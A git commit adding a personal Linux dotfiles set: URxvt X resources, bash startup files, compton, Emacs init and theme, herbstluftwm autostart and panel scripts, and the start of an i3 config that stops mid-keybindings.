commit - /dev/null
commit + 39ad9735ce4e3bd74a186632ad73fecace9ae708
blob - /dev/null
blob + 204aa53967db08853b3404f5c68e9e6762d1a7ef (mode 755)
--- /dev/null
+++ .Xresources
+! __ __
+! \ \ / /
+! \ V / _ __ ___ ___ ___ _ _ _ __ ___ ___ ___
+! > < | '__/ _ \/ __|/ _ \| | | | '__/ __/ _ \/ __|
+! _ / . \| | | __/\__ \ (_) | |_| | | | (_| __/\__ \
+! (_)_/ \_\_| \___||___/\___/ \__,_|_| \___\___||___/
+!
+!
+
+!--------------------------------------------------------------------------------
+! Xft settings: |
+!--------------------------------------------------------------------------------
+
+Xft.dpi: 96
+Xft.autohint: 0
+Xft.lcdfilter: lcddefault
+Xft.hintstyle: hintfull
+Xft.hinting: 1
+Xft.antialias: 1
+Xft.rgba: rgb
+
+!--------------------------------------------------------------------------------
+! URxvt settings: | |
+!--------------------------------------------------------------------------------
+
+URxvt.depth: 32
+URxvt.geometry: 84x32
+URxvt.transparent: 0
+URxvt.fading: 0
+! URxvt.urgentOnBell: 1
+! URxvt.visualBell: 1
+URxvt.loginShell: 1
+URxvt.saveLines: 60
+URxvt.internalBorder: 2
+URxvt.lineSpace: 0
+
+! Fonts.
+URxvt.allow_bold: 0
+/* URxvt.font: -*-terminus-medium-r-normal-*-12-120-72-72-c-60-iso8859-1 */
+URxvt*font: xft:Monospace:pixelsize=11
+URxvt*boldFont: xft:Monospace:pixelsize=11
+
+! Fix font space.
+URxvt*letterSpace: -1
+
+! Scrollbar.
+URxvt.scrollStyle: rxvt
+URxvt.scrollBar: 0
+
+! Perl extensions.
+URxvt.perl-ext-common: default,matcher
+URxvt.matcher.button: 1
+URxvt.urlLauncher: firefox-esr
+
+! Cursor.
+URxvt.cursorBlink: 0
+URxvt.cursorColor: #00ee00
+URxvt.cursorUnderline: 0
+
+! Pointer.
+URxvt.pointerBlank: 1
+
+*background: #030007
+*foreground: #00dd00
+!!*fading: 40
+*fadeColor: #880000
+*cursorColor: #880000
+*pointerColorBackground: #586e75
+*pointerColorForeground: #93a1a1
+
+! *color1: #073642
+! *color2: #073642
+! *color3: #073642
+! *color4: #073642
+! *color5: #073642
+! *color6: #073642
+! *color7: #073642
+! *color8: #073642
+! *color9: #073642
+
+! green
+*color10: #228822
+
+! *color11: #073642
+
+! blue
+*color12: #004088
+
+! *color13: #073642
+
+! cyan
+*color14: #006088
+
+! *color15: #073642
blob - /dev/null
blob + b1373e56c19769b771b19001a070abbe77fe22ed (mode 755)
--- /dev/null
+++ .Xresources_mac
+! __ __
+! \ \ / /
+! \ V / _ __ ___ ___ ___ _ _ _ __ ___ ___ ___
+! > < | '__/ _ \/ __|/ _ \| | | | '__/ __/ _ \/ __|
+! _ / . \| | | __/\__ \ (_) | |_| | | | (_| __/\__ \
+! (_)_/ \_\_| \___||___/\___/ \__,_|_| \___\___||___/
+!
+!
+
+!--------------------------------------------------------------------------------
+! Xft settings: |
+!--------------------------------------------------------------------------------
+
+Xft.dpi: 227
+Xft.autohint: 0
+Xft.lcdfilter: lcddefault
+Xft.hintstyle: hintfull
+Xft.hinting: 1
+Xft.antialias: 1
+Xft.rgba: rgb
+
+!--------------------------------------------------------------------------------
+! URxvt settings: | |
+!--------------------------------------------------------------------------------
+
+URxvt.depth: 32
+URxvt.geometry: 84x32
+URxvt.transparent: 0
+URxvt.fading: 0
+! URxvt.urgentOnBell: 1
+! URxvt.visualBell: 1
+URxvt.loginShell: 1
+URxvt.saveLines: 60
+URxvt.internalBorder: 2
+URxvt.lineSpace: 0
+
+! Fonts.
+URxvt.allow_bold: 0
+/* URxvt.font: -*-terminus-medium-r-normal-*-12-120-72-72-c-60-iso8859-1 */
+URxvt*font: xft:Monospace:pixelsize=20
+URxvt*boldFont: xft:Monospace:pixelsize=20
+
+! Fix font space.
+URxvt*letterSpace: -1
+
+! Scrollbar.
+URxvt.scrollStyle: rxvt
+URxvt.scrollBar: 0
+
+! Perl extensions.
+URxvt.perl-ext-common: default,matcher
+URxvt.matcher.button: 1
+URxvt.urlLauncher: firefox-esr
+
+! Cursor.
+URxvt.cursorBlink: 0
+URxvt.cursorColor: #004400
+URxvt.cursorUnderline: 1
+
+! Pointer.
+URxvt.pointerBlank: 1
+
+*background: #000000
+*foreground: #006600
+!!*fading: 40
+*fadeColor: #880000
+*cursorColor: #880000
+*pointerColorBackground: #586e75
+*pointerColorForeground: #93a1a1
+
+! *color1: #073642
+! *color2: #073642
+! *color3: #073642
+! *color4: #073642
+! *color5: #073642
+! *color6: #073642
+! *color7: #073642
+! *color8: #073642
+! *color9: #073642
+
+! green
+*color10: #228822
+
+! *color11: #073642
+
+! blue
+*color12: #004088
+
+! *color13: #073642
+
+! cyan
+*color14: #006088
+
+! *color15: #073642
blob - /dev/null
blob + 09651360590d575f8c95efb75a03dfff1b3b54fd (mode 755)
--- /dev/null
+++ .bash_profile
+#
+# ~/.bash_profile
+#
+
+[[ -f ~/.bashrc ]] && . ~/.bashrc
+
+startx
blob - /dev/null
blob + 44fbcdb2f9f559325af64ac97a946577de812355 (mode 755)
--- /dev/null
+++ .bashrc
+# _ _
+# | | | |
+# | |__ __ _ ___| |__ _ __ ___
+# | '_ \ / _` / __| '_ \| '__/ __|
+# _| |_) | (_| \__ \ | | | | | (__
+# (_)_.__/ \__,_|___/_| |_|_| \___|
+
+# REMINDER: Use ' for strings and " for programming.
+
+# Source global definitions
+if [ -f /etc/bashrc ]; then
+ . /etc/bashrc
+fi
+
+# Exports.
+# root: PS1='\033[01;33m\]\h\033[00m\]:\033[01;34m\]\w\033[01;31m\]\$\033[00m\] '
+export PS1='\033[01;33m\]\h\033[00m\]:\033[01;34m\]\w\033[01;32m\]\$\033[00m\] '
+export EDITOR="/usr/bin/vim"
+# export PATH="/folder/bin:$PATH"
+
+# Functions.
+filesize () {
+ name=$1
+
+ if [[ -n "$name" ]]; then
+ ls -aGhl $name | awk -F " " {'print $4'}
+ stat -c%s $name
+ wc -c $name | awk -F " " {'print $1'}
+
+ else
+ echo "Argument error!"
+ fi
+}
+
+# Aliases.
+alias emacs='emacs -nw'
+alias ls='exa'
blob - /dev/null
blob + f0631bdc466311b711c44c6a72b2c5a5dffb9679 (mode 755)
--- /dev/null
+++ .compton.conf
+# Fading
+fading = true; # Fade windows during opacity changes.
+fade-delta = 12; # The time between steps in a fade in milliseconds. (default 10).
+fade-in-step = 0.15; # Opacity change between steps while fading in. (default 0.028).
+fade-out-step = 0.15; # Opacity change between steps while fading out. (default 0.03).
+no-fading-openclose = false; # Fade windows in/out when opening/closing.
blob - /dev/null
blob + cc106c0abbcbc9ba47c05bb74fa6b2fa28bdd988 (mode 755)
--- /dev/null
+++ .config/emacs/init.el
+;; Disable toolbar.
+;; (menu-bar-mode -1)
+
+;; Disable backups.
+(setq make-backup-files nil)
+
+;; Set line numbers to display.
+(when (version<= "26.0.50" emacs-version )
+ (global-display-line-numbers-mode))
+
+;; %H = 24hr, e.g 02:33. %k = blank-padded, e.g: 2:33.
+;; %I = 12hr. %l = blank-padded.
+;; %M = minutes.
+;; %S = seconds.
+;; %p = am/pm.
+(setq display-time-format "%l:%M(%p)")
+(display-time-mode 1)
+
+;; Set html-mode for .php files.
+(setq auto-mode-alist
+ (append '((".*\\.php\\'" . html-mode))
+ auto-mode-alist))
+
+;; Windmove window controls.
+(global-set-key (kbd "C-c <left>") 'windmove-left)
+(global-set-key (kbd "C-c <right>") 'windmove-right)
+(global-set-key (kbd "C-c <up>") 'windmove-up)
+(global-set-key (kbd "C-c <down>") 'windmove-down)
+
+;; Theme.
+(setq theme-file "~/.config/emacs/theme.el")
+(load theme-file)
+
+;; Evil mode.
+;; Enable MELPA to install evil mode and neotree. ('M-x package-refresh-contents' then 'M-x package-install RET <pkg>').
+;; Current pkg list: dired-sidebar, evil and evil-collection.
+(require 'package)
+(add-to-list 'package-archives '("melpa" . "https://melpa.org/packages/"))
+(package-initialize)
+;; Evil mode.
+(setq evil-want-keybinding nil)
+(require 'evil)
+(evil-mode 1)
+(require 'evil-collection)
+
+;; Dired-sidebar.
+(add-hook 'emacs-startup-hook #'dired-sidebar-toggle-sidebar)
+(use-package dired-sidebar
+ :bind (("C-x C-n" . dired-sidebar-toggle-sidebar))
+ :ensure t
+ :commands (dired-sidebar-toggle-sidebar)
+ :init
+ (add-hook 'dired-sidebar-mode-hook
+ (lambda ()
+ (unless (file-remote-p default-directory)
+ (auto-revert-mode))))
+ :config
+ (push 'toggle-window-split dired-sidebar-toggle-hidden-commands)
+ (push 'rotate-windows dired-sidebar-toggle-hidden-commands)
+
+ (setq dired-sidebar-subtree-line-prefix "__")
+ (setq dired-sidebar-theme 'none)
+ (setq dired-sidebar-use-term-integration t)
+ (setq dired-sidebar-use-custom-font t))
+ (setq dired-sidebar-width 40)
+ (setq dired-sidebar-display-alist '((side . right)))
+ (setq dired-sidebar-pop-to-sidebar-on-toggle-open nil)
blob - /dev/null
blob + 3b5ab4ccccd60623bafd27840f9a6ed5be207675 (mode 755)
--- /dev/null
+++ .config/emacs/theme.el
+;;; deeper-blue-theme.el --- Custom theme for faces
+
+;; Copyright (C) 2011-2014 Free Software Foundation, Inc.
+
+;; Author: Scott Frazer <[email protected]>
+
+;; This file is part of GNU Emacs.
+
+;; GNU Emacs is free software: you can redistribute it and/or modify
+;; it under the terms of the GNU General Public License as published by
+;; the Free Software Foundation, either version 3 of the License, or
+;; (at your option) any later version.
+
+;; GNU Emacs is distributed in the hope that it will be useful,
+;; but WITHOUT ANY WARRANTY; without even the implied warranty of
+;; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+;; GNU General Public License for more details.
+
+;; You should have received a copy of the GNU General Public License
+;; along with GNU Emacs. If not, see <http://www.gnu.org/licenses/>.
+
+;;; Code:
+
+(deftheme deeper-blue
+ "Face colors using a deep blue background.")
+
+(let ((class '((class color) (min-colors 89))))
+ (custom-theme-set-faces
+ 'deeper-blue
+ `(Info-title-1-face ((,class (:family "helv" :weight bold :height 1.728))))
+ `(Info-title-2-face ((,class (:family "helv" :weight bold :height 1.44))))
+ `(Info-title-3-face ((,class (:family "helv" :weight bold :height 1.2))))
+ `(Info-title-4-face ((,class (:family "helv" :weight bold))))
+ `(compilation-column-number ((,class (:foreground "LightGreen"))))
+ `(compilation-error ((,class (:foreground "Red1"))))
+ `(compilation-info ((,class (:weight normal :foreground "LightSkyBlue"))))
+ `(compilation-line-number ((,class (:foreground "LightGreen"))))
+ `(compilation-mode-line-exit ((,class (:foreground "blue4"))))
+ `(cperl-array-face ((,class (:foreground "yellow2"))))
+ `(cperl-hash-face ((,class (:foreground "coral1"))))
+ `(cursor ((,class (:background "green"))))
+ `(default ((,class (:background "#181a26" :foreground "gray80"))))
+ ;; `(diff-added ((,class (nil))))
+ ;; `(diff-changed ((,class (nil))))
+ `(diff-context ((,class (:foreground "seashell4"))))
+ `(diff-file-header ((,class (:background "grey60"))))
+ `(diff-function ((,class (:inherit diff-header))))
+ `(diff-header ((,class (:background "grey45"))))
+ `(diff-hunk-header ((,class (:inherit diff-header))))
+ `(diff-index ((,class (:inherit diff-file-header))))
+ `(diff-indicator-added ((,class (:foreground "white" :background "darkolivegreen"))))
+ `(diff-indicator-changed ((,class (:foreground "white" :background "dodgerblue4"))))
+ `(diff-indicator-removed ((,class (:foreground "white" :background "indianred4"))))
+ `(diff-refine-change ((,class (:background "skyblue4"))))
+ ;; `(diff-removed ((,class (nil))))
+ `(dired-marked ((,class (:background "dodgerblue3" :foreground "white"))))
+ `(ediff-current-diff-A ((,class (:background "green4" :foreground "white"))))
+ `(ediff-current-diff-B ((,class (:background "darkorange3" :foreground "white"))))
+ `(ediff-even-diff-B ((,class (:background "Grey50" :foreground "White"))))
+ `(ediff-fine-diff-A ((,class (:background "skyblue4" :foreground "white"))))
+ `(ediff-fine-diff-B ((,class (:background "cyan4" :foreground "white"))))
+ `(ediff-odd-diff-A ((,class (:background "Grey50" :foreground "White"))))
+ `(error ((,class (:foreground "red"))))
+ `(flymake-errline ((,class (:background nil :underline "red"))))
+ `(flymake-warnline ((,class (:background nil :underline "magenta3"))))
+ `(font-lock-builtin-face ((,class (:foreground "LightCoral"))))
+ `(font-lock-comment-delimiter-face ((,class (:foreground "gray50"))))
+ `(font-lock-comment-face ((,class (:foreground "gray50"))))
+ `(font-lock-constant-face ((,class (:foreground "DarkOliveGreen3"))))
+ `(font-lock-doc-face ((,class (:foreground "moccasin"))))
+ `(font-lock-doc-string-face ((,class (:foreground "moccasin"))))
+ `(font-lock-function-name-face ((,class (:foreground "goldenrod"))))
+ `(font-lock-keyword-face ((,class (:foreground "DeepSkyBlue1"))))
+ `(font-lock-preprocessor-face ((,class (:foreground "gold"))))
+ `(font-lock-reference-face ((,class (:foreground "LightCoral"))))
+ `(font-lock-regexp-grouping-backslash ((,class (:weight bold))))
+ `(font-lock-regexp-grouping-construct ((,class (:weight bold))))
+ `(font-lock-string-face ((,class (:foreground "burlywood"))))
+ `(font-lock-type-face ((,class (:foreground "CadetBlue1"))))
+ `(font-lock-variable-name-face ((,class (:foreground "SeaGreen2"))))
+ `(fringe ((,class (:background "black"))))
+ `(highlight ((,class (:background "DodgerBlue4"))))
+ `(ido-first-match ((,class (:weight normal :foreground "orange"))))
+ `(ido-only-match ((,class (:foreground "green"))))
+ `(ido-subdir ((,class (:foreground nil :inherit font-lock-keyword-face))))
+ `(info-header-node ((,class (:foreground "DeepSkyBlue1"))))
+ `(info-header-xref ((,class (:foreground "SeaGreen2"))))
+ `(info-menu-header ((,class (:family "helv" :weight bold))))
+ `(info-node ((,class (:foreground "DeepSkyBlue1"))))
+ `(info-xref ((,class (:foreground "SeaGreen2"))))
+ `(isearch ((,class (:background "coral2" :foreground "white"))))
+ `(isearch-lazy-highlight-face ((,class (:background "coral4" :foreground "white"))))
+ `(lazy-highlight ((,class (:background "cadetblue" :foreground "white"))))
+ `(match ((,class (:background "DeepPink4"))))
+ `(minibuffer-prompt ((,class (:foreground "CadetBlue1"))))
+ `(mode-line ((,class (:background "gray75" :foreground "black" :box (:line-width 1 :style released-button)))))
+ `(mode-line-buffer-id ((,class (:weight bold :background nil :foreground "blue4"))))
+ `(mode-line-inactive ((,class (:background "gray40" :foreground "black" :box (:line-width 1 :color "gray40" :style nil)))))
+ `(outline-1 ((,class (:foreground "SkyBlue1"))))
+ `(outline-2 ((,class (:foreground "CadetBlue1"))))
+ `(outline-3 ((,class (:foreground "LightSteelBlue1"))))
+ `(outline-4 ((,class (:foreground "turquoise2"))))
+ `(outline-5 ((,class (:foreground "aquamarine1"))))
+ `(primary-selection ((,class (:background "blue3"))))
+ `(region ((,class (:background "#103050"))))
+ `(show-paren-match-face ((,class (:background "dodgerblue1" :foreground "white"))))
+ `(show-paren-mismatch-face ((,class (:background "red1" :foreground "white"))))
+ `(success ((,class (:foreground "SeaGreen2"))))
+ `(warning ((,class (:foreground "Yellow"))))))
+
+(provide-theme 'deeper-blue)
+
+;; Local Variables:
+;; no-byte-compile: t
+;; End:
+
+;;; deeper-blue-theme.el ends here
blob - /dev/null
blob + 4b5c307ce29298912faae540135d5642da5dbb15 (mode 755)
--- /dev/null
+++ .config/herbstluftwm/autostart
+#!/usr/bin/env bash
+
+# this is a simple config for herbstluftwm
+
+hc() {
+ herbstclient "$@"
+}
+
+hc emit_hook reload
+
+xsetroot -solid '#222222'
+
+# remove all existing keybindings
+hc keyunbind --all
+
+# keybindings
+# if you have a super key you will be much happier with Mod set to Mod4
+#Mod=Mod1 # Use alt as the main modifier
+Mod=Mod4 # Use the super key as the main modifier
+
+hc keybind $Mod-Shift-q quit
+hc keybind $Mod-Shift-r reload
+hc keybind $Mod-Shift-c close
+#hc keybind $Mod-Return spawn ${TERMINAL:-xterm} # use your $TERMINAL with xterm as fallback
+hc keybind $Mod-Return spawn urxvt
+hc keybind $Mod-space spawn rofi -show run -modi run -location 7 -width 100 \
+ -lines 2 -line-margin 0 -line-padding 1 \
+ -separator-style none -font "mono 10" -columns 9 -bw 0 \
+ -disable-history \
+ -hide-scrollbar \
+ -color-window "#222222, #222222, #b1b4b3" \
+ -color-normal "#222222, #b1b4b3, #222222, #005577, #b1b4b3" \
+ -color-active "#222222, #b1b4b3, #222222, #007763, #b1b4b3" \
+ -color-urgent "#222222, #b1b4b3, #222222, #77003d, #b1b4b3" \
+ -kb-row-select "Tab" -kb-row-tab ""
+
+# basic movement
+# focusing clients
+hc keybind $Mod-Left focus left
+hc keybind $Mod-Down focus down
+hc keybind $Mod-Up focus up
+hc keybind $Mod-Right focus right
+hc keybind $Mod-h focus left
+hc keybind $Mod-j focus down
+hc keybind $Mod-k focus up
+hc keybind $Mod-l focus right
+
+# moving clients
+hc keybind $Mod-Shift-Left shift left
+hc keybind $Mod-Shift-Down shift down
+hc keybind $Mod-Shift-Up shift up
+hc keybind $Mod-Shift-Right shift right
+hc keybind $Mod-Shift-h shift left
+hc keybind $Mod-Shift-j shift down
+hc keybind $Mod-Shift-k shift up
+hc keybind $Mod-Shift-l shift right
+
+# splitting frames
+# create an empty frame at the specified direction
+hc keybind $Mod-u split bottom 0.5
+hc keybind $Mod-o split right 0.5
+# let the current frame explode into subframes
+hc keybind $Mod-Control-space split explode
+
+# resizing frames
+resizestep=0.05
+hc keybind $Mod-Control-h resize left +$resizestep
+hc keybind $Mod-Control-j resize down +$resizestep
+hc keybind $Mod-Control-k resize up +$resizestep
+hc keybind $Mod-Control-l resize right +$resizestep
+hc keybind $Mod-Control-Left resize left +$resizestep
+hc keybind $Mod-Control-Down resize down +$resizestep
+hc keybind $Mod-Control-Up resize up +$resizestep
+hc keybind $Mod-Control-Right resize right +$resizestep
+
+# tags
+tag_names=( {1..9} )
+tag_keys=( {1..9} 0 )
+
+hc rename default "${tag_names[0]}" || true
+for i in ${!tag_names[@]} ; do
+ hc add "${tag_names[$i]}"
+ key="${tag_keys[$i]}"
+ if ! [ -z "$key" ] ; then
+ hc keybind "$Mod-$key" use_index "$i"
+ hc keybind "$Mod-Shift-$key" move_index "$i"
+ fi
+done
+
+# cycle through tags
+hc keybind $Mod-period use_index +1 --skip-visible
+hc keybind $Mod-comma use_index -1 --skip-visible
+
+# layouting
+hc keybind $Mod-r remove
+hc keybind $Mod-s floating toggle
+hc keybind $Mod-f fullscreen toggle
+hc keybind $Mod-p pseudotile toggle
+# The following cycles through the available layouts within a frame, but skips
+# layouts, if the layout change wouldn't affect the actual window positions.
+# I.e. if there are two windows within a frame, the grid layout is skipped.
+hc keybind $Mod-b \
+ or , and . compare tags.focus.curframe_wcount = 2 \
+ . cycle_layout +1 vertical horizontal max vertical grid \
+ , cycle_layout +1
+
+# mouse
+hc mouseunbind --all
+hc mousebind $Mod-Button1 move
+hc mousebind $Mod-Button2 zoom
+hc mousebind $Mod-Button3 resize
+
+# focus
+hc keybind $Mod-BackSpace cycle_monitor
+hc keybind $Mod-Tab cycle_all +1
+hc keybind $Mod-Shift-Tab cycle_all -1
+hc keybind $Mod-c cycle
+hc keybind $Mod-i jumpto urgent
+
+# theme
+hc attr theme.tiling.reset 1
+hc attr theme.floating.reset 1
+hc set frame_border_active_color '#222222'
+hc set frame_border_normal_color '#101010'
+hc set frame_bg_normal_color '#565656'
+hc set frame_bg_active_color '#345F0C'
+hc set frame_border_width 1
+hc set always_show_frame 1
+hc set frame_bg_transparent 1
+hc set frame_transparent_width 5
+hc set frame_gap 4
+
+hc attr theme.active.color '#9fbc00'
+hc attr theme.normal.color '#454545'
+hc attr theme.urgent.color orange
+hc attr theme.inner_width 1
+hc attr theme.inner_color black
+hc attr theme.border_width 3
+hc attr theme.floating.border_width 4
+hc attr theme.floating.outer_width 1
+hc attr theme.floating.outer_color black
+hc attr theme.active.inner_color '#3E4A00'
+hc attr theme.active.outer_color '#3E4A00'
+hc attr theme.background_color '#141414'
+
+hc set window_gap 0
+hc set frame_padding 0
+hc set smart_window_surroundings 0
+hc set smart_frame_surroundings 1
+hc set mouse_recenter_gap 0
+
+# rules
+hc unrule -F
+#hc rule class=XTerm tag=3 # move all xterms to tag 3
+hc rule focus=on # normally focus new clients
+#hc rule focus=off # normally do not focus new clients
+# give focus to most common terminals
+#hc rule class~'(.*[Rr]xvt.*|.*[Tt]erm|Konsole)' focus=on
+hc rule windowtype~'_NET_WM_WINDOW_TYPE_(DIALOG|UTILITY|SPLASH)' pseudotile=on
+hc rule windowtype='_NET_WM_WINDOW_TYPE_DIALOG' focus=on
+hc rule windowtype~'_NET_WM_WINDOW_TYPE_(NOTIFICATION|DOCK|DESKTOP)' manage=off
+
+hc set tree_style '╾│ ├└╼─┐'
+
+# unlock, just to be sure
+hc unlock
+
+# do multi monitor setup here, e.g.:
+# hc set_monitors 1280x1024+0+0 1280x1024+1280+0
+# or simply:
+# hc detect_monitors
+
+# find the panel
+panel=~/.config/herbstluftwm/panel.sh
+[ -x "$panel" ] || panel=/etc/xdg/herbstluftwm/panel.sh
+for monitor in $(herbstclient list_monitors | cut -d: -f1) ; do
+ # start it on each monitor
+ "$panel" $monitor &
+done
blob - /dev/null
blob + 1a8e498868293adfd077ade15b2b1417d2e68340 (mode 755)
--- /dev/null
+++ .config/herbstluftwm/panel.sh
+#!/usr/bin/env bash
+
+quote() {
+ local q="$(printf '%q ' "$@")"
+ printf '%s' "${q% }"
+}
+
+hc_quoted="$(quote "${herbstclient_command[@]:-herbstclient}")"
+hc() { "${herbstclient_command[@]:-herbstclient}" "$@" ;}
+monitor=${1:-0}
+geometry=( $(hc monitor_rect "$monitor") )
+if [ -z "$geometry" ] ;then
+ echo "Invalid monitor $monitor"
+ exit 1
+fi
+# geometry has the format W H X Y
+x=${geometry[0]}
+y=${geometry[1]}
+panel_width=${geometry[2]}
+panel_height=16
+font="-*-fixed-medium-*-*-*-12-*-*-*-*-*-*-*"
+bgcolor=$(hc get frame_border_normal_color)
+selbg=$(hc get window_border_active_color)
+selfg='#101010'
+
+####
+# Try to find textwidth binary.
+# In e.g. Ubuntu, this is named dzen2-textwidth.
+if which textwidth &> /dev/null ; then
+ textwidth="textwidth";
+elif which dzen2-textwidth &> /dev/null ; then
+ textwidth="dzen2-textwidth";
+else
+ echo "This script requires the textwidth tool of the dzen2 project."
+ exit 1
+fi
+####
+# true if we are using the svn version of dzen2
+# depending on version/distribution, this seems to have version strings like
+# "dzen-" or "dzen-x.x.x-svn"
+if dzen2 -v 2>&1 | head -n 1 | grep -q '^dzen-\([^,]*-svn\|\),'; then
+ dzen2_svn="true"
+else
+ dzen2_svn=""
+fi
+
+if awk -Wv 2>/dev/null | head -1 | grep -q '^mawk'; then
+ # mawk needs "-W interactive" to line-buffer stdout correctly
+ # http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=593504
+ uniq_linebuffered() {
+ awk -W interactive '$0 != l { print ; l=$0 ; fflush(); }' "$@"
+ }
+else
+ # other awk versions (e.g. gawk) issue a warning with "-W interactive", so
+ # we don't want to use it there.
+ uniq_linebuffered() {
+ awk '$0 != l { print ; l=$0 ; fflush(); }' "$@"
+ }
+fi
+
+hc pad $monitor $panel_height
+
+{
+ ### Event generator ###
+ # based on different input data (mpc, date, hlwm hooks, ...) this generates events, formed like this:
+ # <eventname>\t<data> [...]
+ # e.g.
+ # date ^fg(#efefef)18:33^fg(#909090), 2013-10-^fg(#efefef)29
+
+ #mpc idleloop player &
+ while true ; do
+ # "date" output is checked once a second, but an event is only
+ # generated if the output changed compared to the previous run.
+ date +$'date\t^fg(#efefef)%H:%M^fg(#909090), %Y-%m-^fg(#efefef)%d'
+ sleep 1 || break
+ done > >(uniq_linebuffered) &
+ childpid=$!
+ hc --idle
+ kill $childpid
+} 2> /dev/null | {
+ IFS=$'\t' read -ra tags <<< "$(hc tag_status $monitor)"
+ visible=true
+ date=""
+ windowtitle=""
+ while true ; do
+
+ ### Output ###
+ # This part prints dzen data based on the _previous_ data handling run,
+ # and then waits for the next event to happen.
+
+ separator="^bg()^fg($selbg)|"
+ # draw tags
+ for i in "${tags[@]}" ; do
+ case ${i:0:1} in
+ '#')
+ echo -n "^bg($selbg)^fg($selfg)"
+ ;;
+ '+')
+ echo -n "^bg(#9CA668)^fg(#141414)"
+ ;;
+ ':')
+ echo -n "^bg()^fg(#ffffff)"
+ ;;
+ '!')
+ echo -n "^bg(#FF0675)^fg(#141414)"
+ ;;
+ *)
+ echo -n "^bg()^fg(#ababab)"
+ ;;
+ esac
+ if [ ! -z "$dzen2_svn" ] ; then
+ # clickable tags if using SVN dzen
+ echo -n "^ca(1,$hc_quoted focus_monitor \"$monitor\" && "
+ echo -n "$hc_quoted use \"${i:1}\") ${i:1} ^ca()"
+ else
+ # non-clickable tags if using older dzen
+ echo -n " ${i:1} "
+ fi
+ done
+ echo -n "$separator"
+ echo -n "^bg()^fg() ${windowtitle//^/^^}"
+ # small adjustments
+ right="$separator^bg() $date $separator"
+ right_text_only=$(echo -n "$right" | sed 's.\^[^(]*([^)]*)..g')
+ # get width of right aligned text.. and add some space..
+ width=$($textwidth "$font" "$right_text_only ")
+ echo -n "^pa($(($panel_width - $width)))$right"
+ echo
+
+ ### Data handling ###
+ # This part handles the events generated in the event loop, and sets
+ # internal variables based on them. The event and its arguments are
+ # read into the array cmd, then action is taken depending on the event
+ # name.
+ # "Special" events (quit_panel/togglehidepanel/reload) are also handled
+ # here.
+
+ # wait for next event
+ IFS=$'\t' read -ra cmd || break
+ # find out event origin
+ case "${cmd[0]}" in
+ tag*)
+ #echo "resetting tags" >&2
+ IFS=$'\t' read -ra tags <<< "$(hc tag_status $monitor)"
+ ;;
+ date)
+ #echo "resetting date" >&2
+ date="${cmd[@]:1}"
+ ;;
+ quit_panel)
+ exit
+ ;;
+ togglehidepanel)
+ currentmonidx=$(hc list_monitors | sed -n '/\[FOCUS\]$/s/:.*//p')
+ if [ "${cmd[1]}" -ne "$monitor" ] ; then
+ continue
+ fi
+ if [ "${cmd[1]}" = "current" ] && [ "$currentmonidx" -ne "$monitor" ] ; then
+ continue
+ fi
+ echo "^togglehide()"
+ if $visible ; then
+ visible=false
+ hc pad $monitor 0
+ else
+ visible=true
+ hc pad $monitor $panel_height
+ fi
+ ;;
+ reload)
+ exit
+ ;;
+ focus_changed|window_title_changed)
+ windowtitle="${cmd[@]:2}"
+ ;;
+ #player)
+ # ;;
+ esac
+ done
+
+ ### dzen2 ###
+ # After the data is gathered and processed, the output of the previous block
+ # gets piped to dzen2.
+
+} 2> /dev/null | dzen2 -w $panel_width -x $x -y $y -fn "$font" -h $panel_height \
+ -e "button3=;button4=exec:$hc_quoted use_index -1;button5=exec:$hc_quoted use_index +1" \
+ -ta l -bg "$bgcolor" -fg '#efefef'
blob - /dev/null
blob + 774208d1cb2bcf91de550e35ef9347195c8cd034 (mode 755)
--- /dev/null
+++ .config/herbstluftwm/restartpanels.sh
+#!/usr/bin/env bash
+
+installdir=/
+
+XDG_CONFIG_HOME="${XDG_CONFIG_HOME:-$HOME/.config}"
+defaultpanel="$XDG_CONFIG_HOME/herbstluftwm/panel.sh"
+
+[ -x "$defaultpanel" ] || defaultpanel="$installdir/etc/xdg/herbstluftwm/panel.sh"
+
+panelcmd="${1:-$defaultpanel}"
+
+herbstclient emit_hook quit_panel
+
+for i in $(herbstclient list_monitors | cut -d':' -f1) ; do
+ "$panelcmd" $i &
+done
blob - /dev/null
blob + bf3fb5e438273a4563a9341459a59c164e527c90 (mode 755)
--- /dev/null
+++ .config/i3/config
+# _ ____ _____ __ _
+# (_)___ \ / ____| / _(_)
+# _ __) | | | ___ _ __ | |_ _ __ _
+# | ||__ < | | / _ \| '_ \| _| |/ _` |
+# | |___) | | |___| (_) | | | | | | | (_| |
+# |_|____/ \_____\___/|_| |_|_| |_|\__, |
+# __/ |
+# |___/
+
+# Mod key.
+set $mod Mod4
+
+# Font.
+#font pango: Raleway Light,FontAwesome 9
+font pango: Sans,FontAwesome 9
+
+# Thin borders.
+hide_edge_borders both
+
+# Drag windows.
+floating_modifier $mod
+
+# Change focus.
+bindsym $mod+h focus left
+bindsym $mod+j focus down
+bindsym $mod+k focus up
+bindsym $mod+l focus right
+
+bindsym $mod+Left focus left
+bindsym $mod+Down focus down
+bindsym $mod+Up focus up
+bindsym $mod+Right focus right
+
+# Lock.
+bindsym $mod+Shift+x exec i3lock --color 661111
+
+# Move focused window.
+bindsym $mod+Shift+h move left
+bindsym $mod+Shift+j move down
+bindsym $mod+Shift+k move up
+bindsym $mod+Shift+l move right
+
+bindsym $mod+Shift+Left move left
+bindsym $mod+Shift+Down move down
+bindsym $mod+Shift+Up move up
+bindsym $mod+Shift+Right move right
+
+# split in horizontal orientation
+bindsym $mod+b split h
+
+# split in vertical orientation
+bindsym $mod+v split v
+
+# enter fullscreen mode for the focused container
+bindsym $mod+f fullscreen
+
+# change container layout
+bindsym $mod+s layout stacking
+bindsym $mod+w layout tabbed
+bindsym $mod+e layout toggle split
+
+# toggle tiling / floating
+bindsym $mod+Shift+space floating toggle
+
+# change focus between tiling / floating windows
+bindsym $mod+space focus mode_toggle
+
+# focus the parent container
+bindsym $mod+a focus parent
+
+set $workspace1 "1 "
+set $workspace2 "2 "
+set $workspace3 "3 "
+set $workspace4 "4 "
+set $workspace5 "5 "
+set $workspace6 "6 "
+set $workspace7 "7 "
+set $workspace8 "8 "
+set $workspace9 "9 "
+set $workspace10 "10 "
+
+# move focused container to workspace
+bindsym $mod+Shift+1 move container to workspace $workspace1
+bindsym $mod+Shift+2 move container to workspace $workspace2
+bindsym $mod+Shift+3 move container to workspace $workspace3
+bindsym $mod+Shift+4 move container to workspace $workspace4
+bindsym $mod+Shift+5 move container to workspace $workspace5
+bindsym $mod+Shift+6 move container to workspace $workspace6
+bindsym $mod+Shift+7 move container to workspace $workspace7
